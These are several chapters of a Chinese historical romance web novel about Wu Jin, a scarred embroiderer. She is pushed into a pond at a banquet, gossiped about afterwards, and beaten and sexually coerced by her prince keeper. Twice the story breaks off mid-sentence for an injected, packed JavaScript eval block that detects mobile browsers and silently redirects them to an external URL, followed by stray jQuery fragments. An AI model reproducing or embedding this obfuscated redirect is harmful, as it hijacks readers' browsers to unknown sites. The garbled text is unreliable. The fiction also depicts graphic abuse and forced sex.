雅尔江阿看到乌锦穿着珊瑚色绣绿竹枝的旗装,只露出白玉无瑕般的右脸,整个人娉娉婷婷地站在桥上,气质温婉,若是不知道她左脸有疤,这么一看会觉得她是容貌出色的美人。
说来奇怪,他好几次遇到她了,他是跟着额娘过来寺里礼佛,刚刚他瞥见乌锦出现在寺后院,还以为自己看错了。
“乌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938667|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘……”雅尔江阿上前叫她,果不其然从她眼里见到诧异之色。
“世子爷万福。”
“不必多礼,乌姑娘怎么会在这?”
“陪家里人过来上香。”
雅尔江阿本来就跟乌锦不熟悉,乌锦这句话说完后,两人诡异地都沉默了,他刚想说什么,便听见乌锦说她见到她额娘,她先过去了,她朝他福福身就走开了。
他突然觉得乌锦是故意走开,不想跟他说话,他看她只是走入人群,没见她找到她口中的额娘,说来奇怪,他无论到哪,下人们对他都是点头哈腰,阿谀奉承,府里的丫鬟更是恨不得往他身旁凑,借机跟他多说几句话,努力跟他攀谈,但他几次见到乌锦,她除了跟他行礼开口说话,其他时候都是规规矩矩的,从不主动跟他搭话,仿佛恨不得离他远一点。
因为她跟张宗退婚的事,他对她多了几分关注,他原先是要过去参加她跟张宗的婚宴,哪知突然说延后,再后来直接取消了。
他跟张宗也算是自小相识,因他是张参领的儿子,又跟他年纪相仿,他其实很欣赏张宗的,张宗为人处事很成熟,不然他也不会被选进骁骑营,只是两人为何最后没能成婚,他作为外人是不知晓的,但张宗这阵子像是魂丢了一样,三天两头请假休沐,无心在骁骑营内处理公务。
雅尔江阿还是收回视线,回到寺后院这边。
乌锦的确不想跟雅尔江阿多说话,怕被认识他们的人撞见,尤其是多兰格格,身份有别,别人瞧见只会以为她想高攀世子,惹来一些闲言碎语,对她不利,给她带来麻烦,再加上他们本就不熟,也没有话可说,避着点总没错。
她又在寺庙周围绕一圈,闲逛时隐约有钟声传来,依旧有源源不断的人从山下上来上香,像福晋世子这种身份尊贵之人,住持单独特别接待,普通香客自己上香祭祀,遇到不懂的问题,只有几个小沙弥在一旁给大家解答。
乌锦觉得时辰差不多才过去找她额娘她们,在寺里吃一顿斋饭当午膳,过后她们一行人才下山。
31. 第31章
第31章
八月初,京城的天气愈加燥热,乌锦刺绣时常冒热汗,她忍着热意加快将张宗要的那幅人物绣图绣出来。
二堂嫂富察氏从外面进来铺子时,她刚好停下来,揉揉发酸的手腕跟眼睛,见到富察氏忙喊一声二嫂,后让彩玉去倒茶水。
“不用忙活,我只是过来跟你说说话。”富察氏轻声道,亲热地拉着她的手,到一旁的椅子上坐下。
“过三日是董鄂家举办夏日凉宴,请了不少人,你姑母说你是未婚,正好借此机会看能不能多认识几个人,在里面找到如意良婿,我与你一同前去,哪怕不找如意良婿,你也多认识几个人,交个朋友,往后她们也会照拂你铺子的生意。”
二堂嫂口中的董鄂家应是京城内城临近西直门锦石坊街的正红旗蒙古都统董鄂家,董鄂家的祖先何和礼是大清王朝的开国元勋,后金五大臣之一,迎娶了清太祖的女儿,成了额驸,何和礼死后被追封为三等子,死后几十年积功惠及子孙。
董鄂一族还出了一个宫妃董鄂妃,逝后被封为孝献皇后,是先帝最宠爱的妃子,董鄂妃的父亲伦布与何和礼为同族兄弟,往上追溯是两人的祖父为亲兄弟。
如今董鄂一族的头领与族长为一等公朋春,为何和礼的曾孙,康熙二十五年从正红旗蒙古副都统升为正红旗蒙古都统,其长女嫁与三阿哥胤祉为嫡福晋,可以说董鄂一族是京城里排得上字号的望门贵族。
董鄂家宴请宾客不会送帖子到乌家这边,她阿玛官职太低,乌家又不是大家族,像这种宴会他们估计只会请京城内名门世族、有名有姓的人家,不会邀请她,她还没有资格,若是二堂嫂带她一同前去,她不会有机会参加这种宴会的,姑母虽说看不起他们家,偶尔轻待她,但有时候又待她不错。
她自然无意找如意良婿,不过她的确想铺子的生意好,她刺绣的生意主要还是面对有钱人家,刺绣属于锦上添花的活,普通百姓苦于生计,只会将银两花在刀刃上,讲究实用,不会花几两银子图好看精致。
“嫂子,我想跟你一同前去,只是我第一次参加这种宴会,我该穿什么,需不需要备些什么去都统府?”
富察氏笑道:“你只需把最好看的一身旗装穿上就行,抹些胭脂脂粉,打扮打扮,其它的您不用操心,你既然是与我同去,无需再备什么,交给我即可,三日后巳时正,我过来接你。”
“我自己过去就好,不用过来接我。”
富察氏摇摇头:“无碍,你是第一次过去都统府,可能不识路,我们有马车,来去方便,也省得你走路。”
乌锦想着她没有请帖没被单独邀请,她一人过去的确不大合适,于是点头同意。
“行,那我先走了。”
送走富察氏后,乌锦继续刺绣。
三日后,乌锦穿了一件大襟右衽的雪青色绸绣枝梅纹直缀旗装,梳了小两把式的旗头,别了一支蝴蝶簪,耳环是一对珍珠耳环,这一身装扮几乎是她最拿得出手的装扮,像这种宴会,你不能衣着太朴素单调,别人会下意识看轻回避你,你就很难融入他们的闲聊中,她也知道她这一身在那些贵女当中肯定算不上出挑,但至少不会突兀,她也抹了一点口脂跟腮红,算是精心打扮一番。
姑母家的马车准时出现在石桥胡同巷子口,二堂嫂富察氏伸出头挥手招她过去,她一人很快上了马车,马车上还有大堂嫂马佳氏、马佳氏七岁的大女儿明薇与她们各自的丫鬟。
“锦姑姑……”明薇笑着叫她。
乌锦摸了摸明薇的脑袋,随即也看着马佳氏喊了一声大嫂。
“怎么不带上彩玉一起?”富察氏问了一句。
“彩玉跟小娘她们要帮我看着铺子。”
马佳氏眼神轻蔑,说道:“你那铺子一个月能赚多少银两,天天开着,少一天都不行,你不带彩玉,别人以为你没有伺候的丫鬟,哪个官家小姐会没有伺候的丫鬟,露出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946598|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一副穷酸样只会让别人笑话。”
彩玉幼时丧父丧母,卖到人牙子那边,之后被她阿玛买来当她的丫鬟,但实际她跟彩玉一块长大,情同姐妹,基本上彩玉不算是她的丫鬟,无需特别伺候她,她自己其实也算不上官家小姐。
大堂嫂有时候就会这样言语嘲讽她,说话不好听,乌锦面色平静道:“我本就不是什么官家小姐,大嫂才是真正的官家小姐,如今是官家夫人,大堂哥如今当大官了,我想我就站在大嫂跟二嫂身边当个丫鬟就行,我伺候大嫂跟二嫂。”
“哼,我还嫌你笨手笨脚呢,我哪敢让你伺候。”马佳氏轻哼一声,不过脸色和缓一些。
乌锦知道马佳氏的性子,是需要别人捧着她,只要捧着她,她就高兴,给你好脸色,她继续说道:“如意跟在大嫂身边好几年了,我可能不如如意能干,但我愿意让大嫂差遣吩咐,要不我先给大嫂捶捶腿。”
“你天天守着你那破铺子,我想差遣你都差遣不动,我哪敢让你捶腿,再说了,你要是去跟额娘告状,那我不得让额娘训一顿。”
“我什么时候告过状?”
马佳氏一想也是,乌锦这个人从来没告过状,她就这一点好,无论她怎么待乌锦,怎么奚落贬低她,她都不会跑到婆母那边告状。
乌锦是婆母的侄女,跟婆母同属乌家,是婆母的娘家人,婆母虽然也看不上乌锦跟乌锦一家,但婆母不允许她们跟着瞧不起,因为婆母认为她们瞧不起乌家,也就是瞧不起她,她平日里不会当着婆母的面这么跟乌锦说话,让婆母知晓,少不了被婆母训斥。
富察氏在一旁看着,嘴角有几分笑意,她这个大嫂说不过乌锦,乌锦聪明,她婆母总说乌锦是乌家最聪明的人,要是男儿,说不定能有一番大出息,在她看来,乌锦这人的确很聪慧,三言两语就让大嫂对她态度和缓,知道“对症下药”,很会捧着人说话,让人生不起气。
马车缓缓朝着都统府驶去。
32、第32章
第32章
快到都统府时,二堂嫂富察氏突然拿出一方轻薄的面纱给她,温声道:“你戴上面纱遮住左脸的伤疤,你的眼睛很好看,这宴会肯定不乏王公贵族,你戴上面纱,肯定有人会觉得你这样子好看进而看上你。”
马佳氏也附和道:“你二嫂说得没错,只要遮住伤疤,人会变得好看,听你二嫂的,你年纪不小了,越拖越嫁不出去,都成老姑娘了,更没有人要你。”
“这是在骗人,更何况能遮得了一时,遮不了一世,到最后他们肯定会知道我长什么样,与其始于欺骗,不如坦坦荡荡,我晓得大嫂二嫂是为我好,你们的好意我心领了,但我不能这样做,况且我过来不是为了找夫婿的,我是过来给大嫂二嫂当随身丫鬟的。”乌锦眨眨眼俏皮道。
富察氏见乌锦不想戴,只能将面纱收起来,说道:“说得也对,算了,不戴就不戴,下来吧,别误了时辰。”
几人一一下了马车。
锦石坊街整条街都停着马车,满满当当,衣着光鲜靓丽的公子小姐从马车上下来,人往都统府大门走过去。
乌锦跟在马佳氏她们后面,基本上进去的人都要递上请帖,报上姓名跟门户才能入内,虽说不是什么生辰寿宴,但过来参加宴会的主子大多让随身的丫鬟仆从带着礼盒入都统府。
都统府虽比不上王府那般气派堂皇,但也十分大气宽阔,从大门、仪门、花厅、正大堂再到内厅都是高大开阔,里面的下人有条不紊地忙碌,来回穿梭。
既是夏日凉宴,这都统府里里外外都摆放着冰盆,上面硕大的冰块散发着凉气,比起他们一次只能领十斤冰块,就单从用冰而言,都统府今日用的冰块少说也有上几万斤,正因为这些冰块,他们进来的人感受不到热意,只觉得清凉。
都统府设宴在大花厅里面,花厅前后畅通无阻,厅后面是一潭碧绿清澈的池塘,池塘边上的柳树碧绿葱翠,轻风习习,而厅前方搭了一个一米多高的戏台,上面铺着红毡。
厅里摆放着好十几张大长桌跟一时数不清的雕漆椅,弄了十几席,每一席上摆放着掐丝珐琅茶盘跟酒杯匙箸,茶盘上内放着一套精致的粉青釉茶杯,还摆着各式糕点点心与瓜果。
同时席上还放着小花瓶,好几种新鲜的花拢成花束给席上增添色彩。
花厅内一时之间人声喧闹,语笑喧阗,人人打扮得精致好看,大家见到相熟的人互相打招呼,相互攀谈。
乌锦虽说家世低,这样的宴会参加得少,但她也见到不少熟悉的面孔,六品内阁侍读大人的夫人王氏、前锋参领包大人的夫人林氏、二等侍卫戴佳大人的妾室钮祜禄氏等等,这些人都来过她的铺子。
因这次宴会不分男女席,男男女女都站在花厅里或是花厅后面的大院里闲聊,不过大多是男子跟男子凑在一块聊天,女子跟女子一块聊天,还是有明显的界线。
大堂嫂马佳氏已经过去跟她认识的人聊天,她跟在富察氏身边,富察氏会提醒她不认识的人的身份,主动将她介绍给旁人。
不认识的人初次见她,目光就忍不住在她脸上流连,第一眼很惊讶,随之眼神中又有嫌弃又有怜悯。
乌锦不好一直待在富察氏身边,二嫂总要跟相熟的人单独说些话,有她在恐是不便,她便寻了一个借口走开,她上前跟王夫人打招呼,称赞王夫人今日穿的旗装很好看。
“乌姑娘,我还想过几日去你铺子呢,没想到在这碰到你,近来可好?”王夫人笑道,王夫人为人爽朗,待人和气,乌锦每回见到王夫人都会主动跟她打招呼,王夫人也会很热情地回应她,虽然她们相差十五岁,但关系熟稔。
“我很好,多谢夫人关心,这是夫人的女儿吧?”
王夫人连忙给她介绍她的女儿,刚满十三岁,长相清秀,她对着小女孩笑了笑。
王夫人在她耳边低语,说悄悄话:“我听说明年三月开春便要开始选秀了,我指着她给我长脸呢。”
这八旗女子从十三岁开始便可以参加选秀,只是这选秀大多三年一次,若是刚满十三岁时,选秀已经过去,可能要等两三年才能参选,凡是未满十八岁,从未参加过选秀的八旗女子,均不得私自婚嫁,只有在落选后才可自由婚嫁。
而参加选秀被选中的女子在普通人家看来大多是有锦绣前程,若是不入宫也会分配给皇家宗室子弟,对于普通八旗人家而言,就是飞上枝头变凤凰,可能是唯一能成为皇亲国戚的途径。
“令嫒长得好看,肯定能如愿的。”
“但愿如此吧,我今日带她过来是让她见见世面,她成天待在闺阁中,不懂世事也不行。”
“夫人说得有理,我看今日来了不少人。”
“可不是嘛,听说都统夫人请了不少人,连康亲王世子跟简亲王世子都请过来了,你先前见过两位世子吗?”
“我只见过简亲王世子。”
王夫人似想起什么,恍然大悟:“我记得你姑母家跟简亲王府沾点姻亲,那你肯定见过简亲王世子。”
“乌锦……”
正当乌锦跟王夫人聊天时,富察氏叫她,王夫人示意她过去,乌锦朝王夫人福福身便朝着富察氏走过去。
富察氏指着一位二十岁左右的男子跟她介绍道:“这是李兴亮,李福晋的侄子,你们小时候应该见过,他也来过我们府上,不知你还记不记得?”
乌锦突然想起来这是李夫人跟她说过的侄子,妻子因生子难产大出血而死的那位,至于小时候有没有见过,她就没有印象了,许是见过,但从来没说过话。
面前的男子长相普通,乌锦明白可能姑母那边也想撮合他们,这才让二嫂给他们互相介绍,她对着李兴亮点点头,算是打过招呼了。
“你们在这里聊一会。”富察氏很快走开,留他们单独说话。
乌锦有些头疼,并不想跟他聊天,免得后续有麻烦,还是李兴亮先开口,问她记不记得小时候的事。
她说不记得了。
李兴亮说自己也没有印象见过她,他直接问她脸上伤疤怎么来的。
乌锦随口说不小心伤到的,只想敷衍过去,好在也有人认识李兴亮,喊他过去,她这才得以脱身,迅速从花厅转到厅后院这边。
33、第33章
第33章
雅尔江阿见到乌锦一人站在池塘边,想了想还是走过去,喊了一声乌姑娘。
乌锦回头见是世子,跟往常一样先行礼,今日的世子穿着苗色大洋花纹苏缎夏褂,腰间束着玉带,衬得整个人眉目英俊。
“你一个人过来的吗?”雅尔江阿问她。
乌锦说她跟着两位堂嫂过来的,她视线一转,发现有好几位大家闺秀目光灼灼地看着世子,世子长相斯斯文文,身份又尊贵,是京城许多未出嫁女子的梦中情郎,哪怕他已经娶妻有子,世子主动过来与她说话,那些人投向她的目光自然就充满欣羡与嫉恨。
雅尔江阿发现今日的乌锦细心打扮过了,腮粉脸,双唇嫣红,身上的旗装也很精致,他如今再看到她脸上的伤疤已不觉得丑陋,反而替她惋惜,若是没有这道疤,她容貌该多标致出色。
乌锦朝世子躬身,说道:“世子爷,我先过去那边拿点吃的,我先告退了。”
雅尔江阿不傻,他看得出来乌锦不想跟他站在一块,甚至不想跟他说话,对他避之不及,所以寻借口走开,一次两次都是如此。
乌锦是不想惹闲话,尤其是众目睽睽下,别人一口唾沫都能淹死她,她过去本想拿一碟子点心,又被人叫住,是上次在姑母寿宴上见到的杨淑宜,她走去她们那边。
其中一位十五六岁的女子面露不满地问她世子都跟她说了什么,此人面生,乌锦并无印象,杨淑宜在一旁替她介绍一句,说是都统大人的女儿董鄂.和卓。
“世子没与我说什么,只是问我是否见到康亲王世子。”乌锦面不改色地撒了小谎。
董鄂.和卓仍语气不善,趾高气昂:“你这个丑八怪就别想勾搭世子,你是哪家的?你阿玛是谁?”
认识她的杨淑宜附在董鄂.和卓耳边轻声说两句话,董鄂.和卓听完后冷哼一声,语气更加不屑,眼睛上挑地盯着她,嘲讽道:“原来只是一普通佐领的女儿,我还以为是多大的官,我怎么不记得我们家有给过什么乌家递过请帖,你是不请自来吗?”
“今日都统府层层把关,我想都统府大门口那些守卫是核实查验过每一位来者身份的,都统府的每一个人都是尽职尽责的,不会乱放人进来,若是胡乱放人进来,万一是什么歹徒借机进来,那今日在此的所有人怕是都有性命之忧。”
董鄂.和卓一时梗住,若是她再继续问下去,那就是说今日都统府那些守卫疏忽职守,这宴会是他们家举办的,等于是他们家的过失,管教不力,她哪能承认,只是在一众闺中好友面前,她不想丢面,于是伸手狠狠一推。
乌锦失衡,整个人往后跌倒,后面就是池塘,那些人很有默契都直接后退一步,根本没有伸手拉住往后跌的她,她想抓住围栏也没抓住。
只听见扑通一声,她掉入池塘中,全身浸水湿透,池塘并不深,但她还是吃了几口脏水,她见到岸上的人假模假式地着急叫人。
很快又有一人跳进水中,乌锦其实会游水,可以自己上岸,只是那人很快游过来托住她,她定眼一看是世子,她下意识挣扎。
若是世子救她上去,可想而知她要面对怎样一场“风暴”。
“世子,你别救我。”
雅尔江阿是忍不住留意乌锦这边,是亲眼见到董鄂.和卓推乌锦下水,他自己会水,想也没想地跳下去救她,他以为乌锦是一时害怕,便安慰她道:“不用害怕,这池水不深,我能救你上去。”
乌锦在心里叹口气,事已至此,她只能让世子救她上岸。
董鄂.和卓见到世子跳进去救乌锦,手里捏着帕子快要捏破了,气得咬牙切齿。
都统夫人、朋春的正妻,也是这次宴会的举办人瓜尔佳氏听到人群中一阵混乱喧杂,忙从花厅那边过来,见到简亲王世子掉进水中,差点倒抽一口冷气,被吓一跳,她连忙叫人去拿一身干净的衣裳给世子。
她见到另外一位落水的姑娘,宽大的旗装已经完全贴在身上,发丝都在滴着水,狼狈至极,女子的清誉更加重要,她直接半环住那位姑娘,让几个丫鬟护着送去后院,拿三小姐一套干净的衣裳给她换上,她让自家儿子过去世子那边,她随着那位姑娘一起到后院。
“真是对不住,我招待不周,竟然让姑娘落进水中,是我的不是,我让人送热水过来给姑娘净身,你过去膳房那边让膳房煮一份姜汤过来。”
瓜尔佳氏吩咐完丫鬟后满脸歉意地看着乌锦,亲自拿手帕替她擦拭脸上的水渍。
比起董鄂.和卓的任性跋扈,都统夫人显然更懂人情世故,虽然她知道是董鄂.和卓推的她,但在瓜尔佳氏面前,她说是自己不小心掉入池塘中,给夫人带来麻烦是她的不对。
“傻姑娘,是我们招待不周才是,我总说那池塘的石围栏太低,容易让人掉入水中,只是我家老爷说这是董鄂家的祖宅,不让我动这祖宅的一砖一瓦,这分明是我们的不对,怎么能让你道歉,虽说夏日炎热,但也得注意别着凉,热水很快就送来,你先沐浴净身。”
热水送来后,乌锦到屏风后面沐浴净身,等她出来时,姜汤已经送过来,一套干净的衣服跟首饰也送过来,由都统府里的丫鬟伺候她穿戴,见丫鬟要把一银镀金嵌珠双龙点翠长簪插入她发髻中,她忙抬手阻拦。
“乌姑娘,你原本头上那些首饰怕是还需要在池塘找一会,你先戴着这个,这个衬乌姑娘,乌姑娘戴着好看,这簪子送给乌姑娘了,今日乌姑娘百忙之中前来,我们还让你掉入水中,是我们的不对,这簪子请乌姑娘一定要收下。”
瓜尔佳氏直接将长簪插入她发髻中,不让她拿下,不仅如此,她还给她戴上一串铜镀金嵌石耳坠跟一对玛瑙手镯。
首饰太贵重,乌锦不能收,只是瓜尔佳氏硬要她收下,二堂嫂富察氏也已经进来,朝她点点头,眼神示意她收下,最后她才收下。
宴席开始后,她们几人从后院转去花厅。
34、第34章
第34章
乌锦再回到宴席上坐下时,她发现落在她身上的目光更多了,她坐在富察氏右手边,都统府的下人们开始将夏日凉菜与甜羹端上来,宴席上摆着的吃食均是以清凉爽口为主。
正前方的戏台也开始唱戏,都统夫人瓜尔佳氏将戏单递给坐在第一排的人点戏,点了一出《长生殿》的《夜怨》。
戏台的戏子在上面吟唱,底下坐着的人小声闲聊,方才有旁人在场,富察氏不便多问,这会儿她倾身过来,用手遮着嘴小声问她为何会掉入池塘中。
乌锦如实相告。
富察氏赞同道:“你是对的,此事不宜闹大,你就当是吃一回闷亏,那董鄂.和卓是都统大人的嫡出的女儿,我们得罪不起,只是世子为何会下水救你?”
乌锦哪里知道世子为何会下水救她,她跟他算不上熟识,她轻声道:“许是世子心善,亦不知掉入水中的人是我,我与世子仅有几面之缘而已。”
富察氏心想不管世子是否真是出于心善,在所有人还没来得及反应时,世子便跳入水中救乌锦,往后乌锦怕是要面对许多流言蜚语,人言是可畏的,乌锦跟世子身份有别,又是没出嫁的女子。
她们两人在私语时,同桌有人忽然开口道:“今日乌姑娘可是大出风头啊,乌姑娘是不是故意掉入水中好吸引大家的注意力。”
乌锦抬眸,说话的人坐在她对面,三十来岁的妇人,穿着灰茶色旗装,发髻上插着一支金錾连环花簪,她不知此人身份,看了一眼二嫂富察氏。
富察氏出声道:“刘夫人这话说的,谁想出这种风头,这万一溺水是会死人的,有本事你们也掉进池里看看。”
刘氏被噎,脸色一僵,继而冷声道:“这不是没死嘛,还被世子爷救了,世子爷抱着上来的,乌姑娘家世低,阿玛只是一普通佐领,万一以此要挟要嫁给世子,嫁入王府,怎么算都是一桩好买卖。”
富察氏浅笑道:“刘夫人也可以让你女儿掉入水中,看世子爷会不会跟着跳入水中救你女儿。”
刘氏狠瞪富察氏一眼,想不出话来反驳便不再言语。
富察氏安抚性地拍拍乌锦的手。
乌锦对着二嫂感激地笑了笑。
许是知道乌锦有人护着,大家都默契地不再提此事,开始认真看戏。
乌锦也开始吃东西,主人家备的甜羹一共有四样,四小碗摆在每个人面前,包括红枣薏米银耳羹、酒酿百合蛋花汤、南瓜羹与罗汉果莲藕甜汤,均是冰镇过的,喝进去冰冰凉凉,清爽入口,一碗的量并不多,喝完四碗刚刚好,旁边还有一碟腌制好的酸辣泡菜,吃完甜的再吃点辣的解腻。
这夏日凉宴一直持续到午时,午时的阳光炙热时,大家便一一散开,宴席结束,临走前,她们过去跟瓜尔佳氏告别,瓜尔佳氏依旧不忘跟她道歉,没提她女儿推她入水之事,只是说招待不周,她们也将她换下的衣服还有掉入池塘中的首饰一一找到,归还给她。
在马车上,富察氏跟她说方才说话的刘夫人是宫中御医张世良的妻子,是世子福晋的表姑,算是福晋的娘家人。
乌锦了然地点点头,所以刘氏是为了福晋出头,只是她与世子真的只有几面之缘,那人跟世子关系甚好,听说是从小一块长大的,那世子知不知道她跟那人的关系,有没有可能是世子知情,他又会水,所以才会救她。
世子的性格比他的妹妹多兰格格要温和许多,不顾自己的身份选择救人,他的性子是是偏善的。
二堂嫂她们送她回绣秀苑,乌锦到铺子后便埋头刺绣,不想那些事。
果不其然,没过几天,世子入水救她之事便传得沸沸扬扬,她也被说是工于心计,城府深,故意勾引世子,耍心机故意掉入水中吸引世子的注意力,说她小官之女妄想嫁入王府,妄想成为世子的女人,骂得更难听的是她不要脸,癞蛤蟆想吃天鹅肉。
她的铺子这几日莫名多了不少人,进来的人目光打量她,乌锦干脆这几日就待在家里刺绣,铺子让彩玉跟小娘守着。
她知道这种事顶多是热闹非议个几天,等过一阵,这事的热度就会过去。
她在家刺绣时,彩玉忽然从铺子那边回来,到她房中说是谢嬷嬷找她。
乌锦心里一紧,那人有半个月没来找她,她一时忘了那个人,她跟她额娘说一声后便跟彩玉出门。
谢嬷嬷还有赵师傅果然在等她,应是那人此时要她过去,她示意彩玉去守着铺子,她自己过去就行。
上了马车后,谢嬷嬷难得提醒她一句,说是世子今日看上去神色不对,心情不好。
这人平日里脸色就冷沉,有时候看不出喜怒,能被谢嬷嬷看出来心情不好,估计是脸黑成炭了吧,他心情不好过来找她应该是想发泄。
乌锦想到他有一次也是突然叫她过去,在做的时候咬她一身伤口,那一次他也是心情不好。
乌锦想着自己又要被咬出一身伤就开始头疼,她问谢嬷嬷知不知道他为何心情不好,谢嬷嬷说她成天在宅子里,也不知道世子那边发生了什么事。
难不成他是听说她跟雅尔江阿的传闻了?过来质问她?她始终觉得自己只是一小小的外室,他不至于为了一个外室而大动肝火吧,一个不重要,供他玩乐、拿来泄.欲的人会影响他的情绪吗?
去那间宅子的一路上,乌锦还是比较忐忑的,因为那人的性子,她其实也不是特别了解,暂时还摸不清,他人又疯,她没想好要如何应对他的怒火。
到了之后,她被谢嬷嬷领着进屋,那人就坐在铺炕上,谢嬷嬷很快出去,将门带上,她上前给他行礼。
“跪下!”
乌锦很听话地跪下,她刚想抬头看他,只见一个茶杯就狠狠朝她砸过来,砸中她额头,他力道之大,她额头立即有温热的鲜血流出来,传来疼意,那茶杯也应声碎成好几块,碎片溅起。
血也流入她的眼中,她抬手抹了抹,什么也没问,只是乖乖地跪着。
“过来!”
乌锦跪着挪到他脚下,他居高临下地抬起她的下巴,她视线跟他对上,他脸色阴沉,甚至透着一股阴鸷狠厉。
啪,一巴掌狠狠扇过来!
乌锦被扇得直接偏头,嘴角都冒出血,脸庞传来火辣辣的疼意。
35-40
第35章第35章入V长章,谢谢支持
第35章
乌锦从小到大从未被别人扇过巴掌,哪怕是出生到乌家,她阿玛跟额娘都很疼她,乌家并不富裕,但她阿玛却愿意买一个丫鬟给她,在她二弟没出生前,她是乌家唯一的孩子,她阿玛跟额娘是把她放在手心里疼的。
她人生第一次被扇巴掌,乌锦压下所有情绪,依旧跪在地上,面色平静地看着他:“世子爷要打要骂,奴婢没有怨言,只是还请世子爷先告诉奴婢,奴婢做错了什么,奴婢日后好修正。”
胤禛看到她如此平静的样子,知道她的傲骨又显现出来了,看似听话顺从,实则反抗刚烈,此时的她不过在隐忍而已,越是这样,他越想折她的傲骨。
对着她不驯的眼神,胤禛抬手落下第二巴掌,这次她有所防备,晃动身子往旁边躲一下,第二巴掌不像第一巴掌那么结实,但也打到了。
“你再敢躲,信不信我杀了你!”胤禛本来心情就不好,他觉得乌锦是在忤逆他,他顿时极其不悦,手用力捏住她的下巴,强行将她的脸转过来。
这个人在发疯,他心情不好,拿她发泄,谁知道他会再做出什么伤害她的事情,他是裕亲王世子,生在皇家,普通人的命对他而言就是轻如鸿毛,如同蝼蚁一般,乌锦不想再惹怒他,柔声道:“是奴婢的错,奴婢不该躲,奴婢任由世子爷处置,奴婢多疼都不会再躲,还请世子爷原谅奴婢一回,只要世子爷开心,奴婢怎样都行。”
胤禛见到她脸上的血,没有丝毫恻隐之心,抬起她的下巴吻下去,她口腔内也有血腥味,这血腥味反而让他更加躁动,卷吸得更厉害。
乌锦只觉得自己的舌头快要断了,人也快要岔气,他吻得很凶狠霸道,根本不让她喘气,她实在吸不上来气时才忍不住推了推他。
胤禛松开她,抹去她脸上的血,沉声道:“我今日心情不好,该怎么做,你知道吗?”
乌锦哪里听不懂他说的话,忙顺着他的话说道:“奴婢伺候世子爷。”
她开始给他宽衣,帮他解开腰带跟衣襟上的系扣,心里哪怕在咒他去死,面上也硬生生地露出温顺的浅笑,她这个外室跟勾栏的女子没什么两样。
胤禛勾唇冷笑,他很喜欢看到她心不甘情不愿的样子,这让他的心情好了一些,他就坐在铺炕上,眯着眼睛看着她伺候他。
“世子爷,你要在这里还是去床上?”
“你只顾着脱我衣服,你身上一件衣服都还没脱。”
乌锦抬眸看他一眼,然后开始脱自己的衣服,脱完后她倚在他身上,主动亲他。
胤禛此时心情好一些,饶有兴味地盯着她的一举一动。
乌锦又不是初次,不会害羞,她从上往下一直亲到他的胸膛,顺势坐在他腿上。
胤禛觉得她慢悠悠的,仿佛在隔空瘙痒,一个搂腰将她翻过来放到在铺炕上。
夏日的铺炕只铺着一层冰凉的竹席,很硬,乌锦只觉得自己的后背像是枕着一堵墙,他动作幅度又大,又整个人压着她,她怎么都不舒服。
“世子爷,去床上吧,奴婢求你。”
“我为何要听你的。”
“这样世子爷也会舒服。”
胤禛看着身下的人,她拧着眉,语气带有恳求,那双眼睛敛着水雾,仿佛下一刻眼泪就要出来了。
“我怎么不知道你这么娇气。”胤禛冷声道,他并没有停下来。
“奴婢怕世子爷不舒服。”
“我好得很。”
乌锦便闭嘴了,知道他不愿意顺着她,他就是要折磨她,她闭上眼睛,不想再看他,结果这人又要她睁眼看着他,语气恶劣霸道。
她只好睁眼,说道:“只要世子爷能开心,奴婢怎样都行。”
“你没有拒绝的权利,给我受着。”
胤禛来来回回将她折腾了三遍,夏日炎热,到最后,她像是刚从水里捞出来一样,浑身无力地躺在铺炕上,他心情好了一些,唤人进来伺候。
谢嬷嬷见到铺炕上的乌姑娘,完全吓一跳,乌姑娘此时浑身青紫,额头上的伤口更是显眼,发丝上还沾有干涸的血迹,脸色微微发白,一副被虐打过的样子。
主子爷淡淡吩咐她给乌姑娘上药,谢嬷嬷连忙去拿药膏,在主子爷去隔壁净室时,她给乌姑娘擦药。
“我也想净身,嬷嬷给我备一桶热水吧。”
谢嬷嬷见乌姑娘还有精神说话,神志清醒,她默默松一口气,她还真怕乌姑娘出事,她说热水已经备好了,她搀着乌姑娘也过去净室沐浴,她小心伺候着乌姑娘,不让伤口碰水。
乌锦没管旁边的人,将自己浸在热水里泡一会,她身上只是淤青多一点,他手上的力道大,好在他这一次没有咬伤她,淤青的话过几天就能褪下去。
胤禛心情已经平复过来,他之所以心情不好是因为皇阿玛准备南巡,但此次南巡,皇阿玛准备带了大哥、二哥、三哥与五弟,唯独不带他,他拉不下脸去求皇阿玛,昨日碰到大哥时还被嘲讽了两句,他怎么能不气,皇阿玛为何不愿带他南巡,同为阿哥,他觉得他一直不怎么讨皇阿玛喜欢。
小时候功课学识在兄弟之中不够出色,骑射也不够出色,在皇阿玛眼里,他大概是那个平平庸庸,不够聪明的儿子。
知道事情已经成定局,胤禛只能让自己不再想着这事,他目光落在泡在浴桶里的乌锦身上,他并不觉得自己哪里做错,没有那么多同情心,她既然当了外室,不就是要伺候他,供他玩乐的嘛,一点小伤又不会死人,这女人命大得很。
胤禛先走出净室,穿上刚才脱下的衣服,吩咐瓜嬷嬷弄些吃食过来,方才折腾太久,他这会饿了。
瓜嬷嬷连忙去膳房准备膳食。
乌锦沐浴完后也穿好衣服,不过头发还湿漉漉的,谢嬷嬷拿来干净的毛巾帮她绞干头发,她自己擦药。
“过来。”那人又命令道。
